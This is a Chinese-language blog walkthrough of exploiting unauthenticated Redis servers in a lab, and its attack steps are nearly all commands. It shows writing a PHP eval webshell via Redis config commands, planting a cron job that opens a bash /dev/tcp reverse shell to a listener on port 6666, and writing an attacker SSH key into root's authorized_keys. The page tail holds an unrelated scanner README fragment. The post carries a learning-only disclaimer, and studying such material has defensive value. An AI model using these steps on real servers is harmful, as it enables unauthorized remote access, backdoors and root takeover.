redis未授权访问漏洞(三种方法)

声明:此文章仅用于学习使用

漏洞简介:

        redis 默认情况下,绑定在 0.0.0.0:6379,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 ip 访问等,会将 redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。攻击者在未授权访问 redis 的情况下,利用 redis 自身的提供的config 命令,可以进行写文件操作,从而可以将自己编写生成的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而使用对应私钥通过ssh服务登录目标服务器。

环境准备:centos7.6(靶机)、kali

影响版本:redis 2.x,3.x,4.x,5.x

目录

一、环境搭建

二、启动环境

三、漏洞利用

1.方法一:写入webshell

1.1 连接redis

1.1.1 相关报错 

1.2 获取getshell

2.方法二:Linux计划任务反弹shell

3.方法三:写入ssh公钥实现ssh登录


一、环境搭建

🌂首先在centos及kali中各自下载redis源码包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

🌂解压源码包,可以不加v,隐藏显示详细信息

tar -zxvf redis-2.8.17.tar.gz 

🌂进入解压后的目录,并创建makefile

1)cd redis-2.8.17/

2)make

🌂centos靶机进入src目录,复制客户端与服务端文件至环境变量目录;返回上级目录复制相关配置文件至/etc下

1)cp redis-server /usr/bin

2)cp redis-cli /usr/bin

3)cp redis.conf /etc

二、启动环境

🌂在靶机新开一个终端,启动redis

redis-server /etc/redis.conf

🌂 kali中验证可以成功连接

./redis-cli -h 靶机ip

🌂 kali使用nmap扫描验证

nmap -p 6379 --script redis-info 靶机ip

三、漏洞利用

1.方法一:写入webshell

1.1 连接redis

🌂连接redis,端口默认为6379

redis-cli -h 靶机ip -p 6379

1.1.1 相关报错 

到这里跟着复现,发现报"(错误)ERR客户端发送了AUTH,但未设置密码"

正常来讲,redis2.8.17默认无密码,因此才会造成我们未授权访问。

如果做未授权访问复现,请忽略以下步骤!!!!!

此处可以使用命令设置一个简单的数字密码,并再次尝试登录,发现可以正常执行

1)config set requirepass 123456

2)auth 123456

ps:flushall                   # 清理缓存,执行后可重新设置密码

🌂接下来继续执行命令,成功进入redis

config get dir

1.2 获取getshell

🌂在/var目录下创建目录,并在redis输入命令

1)mkdir -p /var/www/html/                        # 在非进入redis服务器的终端执行

2)config set dir /var/www/html/                # 设置webshell的存储目录

3)config set dbfilename system.php        # 设置webshell的文件名

4)set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n"        # 将一句话木马写入system.php文件中

5)save                                                        # 保存

🌂进入/var/www/html目录下,查看并验证是否执行成功

🌂通过蚁剑或冰蝎等工具连接,此处本机没有搭建php环境,不做演示。小伙伴可在centos自行安装phpstudy方便后续蚁剑等工具连接。

2.方法二:Linux计划任务反弹shell

🌂centos中位置为/var/spool/cron/root,通常没有root文件,因此创建

原理:利用redis数据库备份功能,在不知情网站绝对路径时,利用定时任务检测/etc/crontab内容,将反弹shell的命令使用redis备份到/etc/crontab中,获取反弹shell

1)config set dir /var/spool/cron

2)config set dbfilename root

3)set abc "\n\n\n* * * * * bash -i >& /dev/tcp/靶机ip/6666 0>&1\n\n\n"          # 端口号可自行设定

4)save

🌂新开终端,监听6666端口,等待建立连接,成功获取到shell,可以执行命令

nc -lvp 6666

3.方法三:写入ssh公钥实现ssh登录

🌂在kali生成ssh公钥、私钥,密码为空

ssh-keygen -t rsa

🌂 进入/root/.ssh并将公钥写入key.txt文件

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt        

🌂将key.txt文件传入redis靶机

cat key.txt| redis-cli -h 靶机ip -x set pub

🌂将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存

1)./redis-cli -h 靶机ip

2)config get dir

3)config set dir /root/.ssh

4)config set dbfilename authorized_keys

5)config get dbfilename

6)save

🌂kali使用ssh免密登录centos靶机

ssh -i id_rsa root@靶机ip

至此,三种复现方法结束~

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
Gourdscan v2.1 被动式漏洞扫描系统 Passive Vulnerability Scan 为避免 Gourdscan 被恶意利用,开源版本只放出了简单的探测规则,无法用作为黑客入侵工具。请使用者遵守《中华人民共和国网络安全法》,勿将 Gourdscan 用于授权的测试,参与项目的社区成员/YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。 安装依赖: Linux 安装 Redis apt-get install redis-server 或从源码编译安装 wget http://download.redis.io/redis-stable.tar.gz && tar xzf redis-stable.tar.gz && cd redis-stable && make && make install 系统已有 Redis 的,运行 redis-server --version 查看自己的版本,需注意2.x版本的 Redis 会有问题 安转 python 类库 基础模块 安装pip wget https://sec.ly.com/mirror/get-pip.py --no-check-certificate && python get-pip.py -i https://mirrors.aliyun.com/pypi/simple/ $ pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ 其他事项 以下如果有报错便可以安装,一般不需要安装 镜像: https://sec.ly.com/mirror/libdnet-libdnet-1.12.tar.gz https://sec.ly.com/mirror/pylibpcap-0.6.4.tar.gz $ wget https://github.com/dugsong/libdnet/archive/master.zip && unzip master.zip $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.4.tar.gz && tar zxf pylibpcap-0.6.4.tar.gz Windows 下载 Redis https://sec.ly.com/mirror/Redis-x64-3.2.100.zip 启动 Redis redis-server.exe GourdScan路径\conf\redis.conf 如需使用网卡抓包方式,同程src已有各依赖镜像,可以把exe文件都装上 https://sec.ly.com/mirror/dnet-1.12.win32-py2.7.exe https://sec.ly.com/mirror/dpkt-1.7.win32.exe https://sec.ly.com/mirror/pcap-1.1.win32-py2.7.exe https://sec.ly.com/mirror/WinPcap_4_1_3.exe OSX 安装 homebrew /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 安装 redis brew install redis 启动 redis redis-server conf/redis.conf 安装依赖 pip install pcapy -i https://pypi.doubanio.com/simple/ git clone https://github.com/dugsong/libdnet.git && cd libdnet && ./configure && make && cd python && python setup.py install 使用方法redis-server conf/redis.conf python gourdscan.py conf.json 默认平台用户名密码为:admin:Y3rc_admin 默认redis密码为:Y3rc_Alw4ys_B3_W1th_Y0u 如果有勾选sqlmap api scan选项,请在服务器上开启sqlmap api。 一切正常的话你就可以在8000端口上访问到 GourdScanV2 的 web 界面了 Start Monitor 中提供了三种代理方式,区别的话在下方文档有

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学习的小白_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值